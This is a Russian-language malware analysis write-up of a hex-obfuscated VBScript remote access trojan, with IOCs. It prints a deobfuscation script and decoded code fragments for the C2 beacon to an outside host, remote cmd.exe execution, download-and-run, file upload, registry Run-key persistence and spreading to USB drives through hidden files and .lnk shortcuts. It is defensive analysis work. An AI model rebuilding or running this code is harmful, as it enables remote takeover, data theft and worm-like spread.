Введение
На анализ мне попался VBScript-файл, содержимое которого на первый взгляд не давало практически никакой информации о его назначении. В файле находился набор HEX-строк, которые последовательно передавались функции h(). Полученное значение затем выполнялось через ExecuteGlobal.
Я решил сначала не запускать сам скрипт, а восстановить скрытый код и уже после этого разбирать его поведение. Для этого мне было достаточно понять, каким образом формируется строка f и что именно делает функция h().
В результате оказалось, что HEX здесь используется только для сокрытия исходного VBScript. После декодирования я получил полноценный RAT, который взаимодействует с удалённым сервером по HTTP, выполняет команды оператора, работает с файлами и процессами, собирает информацию о системе, устанавливает persistence и умеет распространяться через съёмные USB-накопители.
Что находилось в исходном файле
Основная часть кода была представлена конструкциями:
f=f&h("703D2822222222290D0A673D2876626372290D0A...") f=f&h("2E7368656C6C222670262229222667262264696D...") f=f&h("267026226D73786D6C322E786D6C687474702...")
При этом функция h() выглядела следующим образом:
Function h(f) For y = 1 To Len(f) Step 2 ub = ub & Chr(Clng("&H" & Mid(f, y, 2))) Next h = ub End Function
Здесь ничего сложного нет. Функция проходит по строке по два символа, воспринимает каждую пару как HEX-байт и преобразует её через Chr() в символ. Таким образом, например, последовательность 70 61 74 68 превращается в строку path.
После обработки всех блоков получается исходный текст скрипта. Далее он передаётся в ExecuteGlobal, то есть VBScript динамически выполняет сформированный код.
Получается простая цепочка:
HEX ↓ h() ↓ строка VBScript ↓ ExecuteGlobal ↓ выполнение RAT
Поэтому для дальнейшего анализа я сначала восстановил весь скрытый код.
Расшифровка
Чтобы не собирать строку вручную, я написал небольшой Python-скрипт. Он находит все конструкции f=f&h("..."), извлекает HEX и объединяет полученные данные в один файл.
import re from pathlib import Path src = Path("1.vbs").read_text( encoding="utf-8", errors="ignore" ) chunks = re.findall( r'f\s*=\s*f\s*&\s*h\("([0-9A-Fa-f]+)"\)', src ) print(f"[+] HEX blocks: {len(chunks)}") text = ''.join( bytes.fromhex(chunk).decode("latin-1") for chunk in chunks ) text = text.replace("f!", "function") Path("decoded.vbs").write_text( text, encoding="utf-8" ) print("[+] Saved: decoded.vbs")
После запуска скрипта я получил decoded.vbs, который уже можно было анализировать как обычный VBScript.
Что оказалось внутри
После декодирования первым делом бросаются в глаза создаваемые COM-объекты:
dim sh set sh = wscript.createobject("wscript.shell") dim fs set fs = createobject("scripting.filesystemobject") dim htp set htp = createobject("msxml2.xmlhttp")
Здесь уже становится понятно направление дальнейшего анализа. WScript.Shell используется для взаимодействия с Windows, запуска процессов и работы с реестром. Scripting.FileSystemObject отвечает за файлы, каталоги и диски. MSXML2.XMLHTTP используется для сетевого взаимодействия. Также скрипт определяет собственный путь:
path=fs.GetParentFolderName(WScript.ScriptFullName)
После этого идёт подготовка каталога для работы RAT. Сначала используется %APPDATA%, а если такого каталога нет, в качестве рабочего каталога выбирается %TEMP%.
Адрес C2
Следующим этапом я посмотрел, куда вообще устанавливается сетевое соединение. Адрес сервера скрыт не обычной HEX-строкой, а последовательностью ChrW():
YUc5emRB = chrw(120)&chrw(110)&chrw(056)&chrw(110)&chrw(056)&chrw(046)&chrw(115)&chrw(121)&chrw(116)&chrw(101)&chrw(115)&chrw(046)&chrw(110)&chrw(101)&chrw(116)
Если заменить значения ChrW() на соответствующие символы, получается:
xn.n..sytes.net
Порт формируется отдельным выражением:
cG9ydA = Asc(chrw(200+26))
В результате значение порта равно 226.
HTTP-соединение выполняется через MSXML2.XMLHTTP:
htp.open "post", "http://" & YUc5emRB & ":" & cG9ydA & "/" & M2R, false htp.setrequestheader "user-agent:",information htp.send param
То есть RAT использует HTTP POST, а путь запроса формируется динамически в зависимости от выполняемой операции.
Связь с сервером
После инициализации скрипт переходит в бесконечный цикл:
while true i = i + 1 If i = 4 Then install i = 0 End If response = post ("is-ready","") M2R = split (response,YzNC) select case M2R (0) ... end select wscript.sleep sleep wend
Первым делом RAT отправляет запрос на /is-ready. Ответ сервера разделяется при помощи значения YzNC, после чего первый элемент полученной строки используется как команда.
Таким образом, сервер не просто отвечает на периодический запрос. Он фактически управляет дальнейшим поведением скрипта. В обработчике select case я обнаружил команды excecute, update, uninstall, send, site-send, recv, enum-driver, enum-faf, enum-process, M2R-shell, delete, exit-process и sleep.
Уже по этому участку становится понятно, что передо мной не загрузчик и не простой скрипт для одной операции, а полноценный механизм удалённого управления.
Удалённое выполнение команд
Самая интересная часть находится в функции M2Rshell():
set oexec = sh.exec("%comspec% /c " & M2R)
Команда передаётся через %COMSPEC% /c, то есть фактически выполняется командным интерпретатором Windows. После выполнения RAT считывает вывод процесса:
readallfromany = oexec.stdout.readall
Если стандартный вывод отсутствует, скрипт пытается получить данные из stderr. Получается полноценный канал удалённого выполнения команд: сервер передаёт команду, заражённая машина запускает её через cmd.exe, после чего результат возвращается обратно.
Сбор информации о системе
Перед дальнейшей работой RAT формирует информацию о заражённой машине. В первую очередь собираются HWID, имя компьютера и имя пользователя:
inf = "2__" & hwid & YzNC inf = inf & sh.expandenvironmentstrings("%computername%") & YzNC inf = inf & sh.expandenvironmentstrings("%username%") & YzNC
Информация об операционной системе получается через WMI:
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set os = root.execquery("select * from win32_operatingsystem")
Из объекта Win32_OperatingSystem берётся название установленной ОС. Отдельно RAT пытается определить установленный антивирус. В зависимости от версии Windows выбирается SecurityCenter или SecurityCenter2, после чего выполняется запрос:
select * from antivirusproduct
Из найденных объектов берётся displayname. Таким образом, ещё до выполнения оператором каких-либо команд RAT собирает базовую информацию о системе и передаёт её на C2.
Формирование HWID
HWID формируется из серийного номера логического диска:
set disks = root.execquery ("select * from win32_logicaldisk") for each disk in disks if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber exit for end if next
Скрипт перебирает логические диски и использует первый найденный VolumeSerialNumber. Это значение затем включается в информацию, отправляемую серверу.
Работа с процессами
RAT умеет получать список запущенных процессов через WMI:
set objwmiservice = getobject("winmgmts:\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_process,,48")
Для каждого процесса собираются имя, PID и путь к исполняемому файлу:
enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & YzNC
Есть и обратная операция — завершение процесса:
sh.run "taskkill /F /T /PID " & pid,7,true
То есть оператор через C2 может получить список процессов и затем завершить выбранный процесс по PID.
Работа с файловой системой
Для взаимодействия с файловой системой используется Scripting.FileSystemObject. Функция enumdriver() перебирает доступные диски и возвращает их пути и типы:
for each drive in fs.drives if drive.isready = true then enumdriver = enumdriver & drive.path & "|" & drive.drivetype & YzNC end if next
Функция enumfaf() уже позволяет получить содержимое конкретного каталога. Для папок передаются имя и атрибуты, для файлов — имя, размер и атрибуты. Также есть прямое удаление:
fs.deletefile url fs.deletefolder url
Таким образом, RAT получает базовые возможности удалённого управления файловой системой.
Передача файлов
Передача файлов реализована в обе стороны. При выполнении команды send вызывается функция download(). Она отправляет POST-запрос на /is-sending, получает ответ и сохраняет его через ADODB.Stream в бинарном режиме.
После сохранения файл запускается:
sh.run objfsodownload.getfile(strsaveto).shortpath
То есть сервер может передать файл на заражённую машину и сразу запустить его. Обратная операция находится в upload(). Сначала файл открывается через ADODB.Stream, содержимое считывается в буфер, после чего буфер отправляется POST-запросом на /is-recving. Получается полноценная передача файлов между C2 и заражённой системой.
Закрепление в системе
В образце присутствует persistence через ключи Run. Функция upstart() записывает запуск скрипта в:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
и:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
В качестве команды используется wscript.exe с параметрами запуска VBScript:
wscript.exe //B //E:vbs <путь к файлу>
Дополнительно скрипт копирует себя в рабочий каталог %APPDATA%. Таким образом, после перезагрузки системы RAT может автоматически запускаться снова.
Распространение через USB
Отдельно в коде реализован механизм распространения через съёмные накопители.
В функции install() перебираются все диски:
for each drive in fs.drives
Затем проверяется, является ли диск готовым и имеет ли тип 1:
if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then
После этого текущий скрипт копируется на накопитель:
fs.copyfile wscript.scriptfullname, drive.path & "\" & aW5zdGF,true
Файлу устанавливаются атрибуты 2+4, то есть скрытый и системный.
После этого создаются каталоги Mes images и Nouveau dossier, а внутри них создаются ярлыки .lnk, которые запускают wscript.exe с параметрами для выполнения вредоносного VBS. Дополнительно RAT проходит по каталогам в корне накопителя, копирует туда свою версию и создаёт соответствующие ярлыки. По сути, здесь реализована классическая схема распространения через USB: вредоносный файл скрывается, а вместо него пользователю показывается ярлык, который при запуске вызывает wscript.exe.
Самоудаление
В коде предусмотрена и обратная команда — uninstall. При её получении удаляются записи из Run, удаляется файл из Startup и сам текущий скрипт. После этого RAT проходит по подключённым дискам и удаляет созданные им файлы и ярлыки. То есть автор предусмотрел не только установку и постоянную работу образца, но и возможность удалить его следы по команде с C2.
Индикаторы компрометации (IOC)
MD5 |
2fa0e66d8cb4872ef3c6319a3641e2e8 |
SHA-1 |
fe9cff4c25aa36051ad8d038ecc79bd1ed9eb3e1 |
SHA-256 |
00cc17f7380443b443de3aa92c7f9216653bdd40501aafc7185ee53e1c1b1079 |
C2 |
xn.n..sytes.net |
Port |
226 |
Итог
После снятия обфускации структура образца стала достаточно понятной. В исходном файле основная логика была скрыта внутри HEX-строк и выполнялась через ExecuteGlobal, но после восстановления кода удалось увидеть полноценный RAT.
Скрипт устанавливает соединение с C2 по HTTP, отправляет информацию о заражённой системе и ожидает команды. Через этот канал реализовано удалённое выполнение команд, работа с процессами и файловой системой, передача файлов, удаление данных и изменение состояния самого RAT.
Отдельного внимания заслуживает распространение через USB-накопители. Скрипт копирует себя на съёмные диски, скрывает основной файл и создаёт .lnk, который запускает вредоносный VBScript через wscript.exe.
В итоге перед нами VBScript RAT, в котором нет какой-либо сложной криптографии или нестандартных техник выполнения. Основной упор сделан на стандартные компоненты Windows: WScript.Shell, FileSystemObject, MSXML2.XMLHTTP, ADODB.Stream и WMI. Именно поэтому после снятия первоначальной обфускации вся логика образца достаточно хорошо читается непосредственно из исходного кода.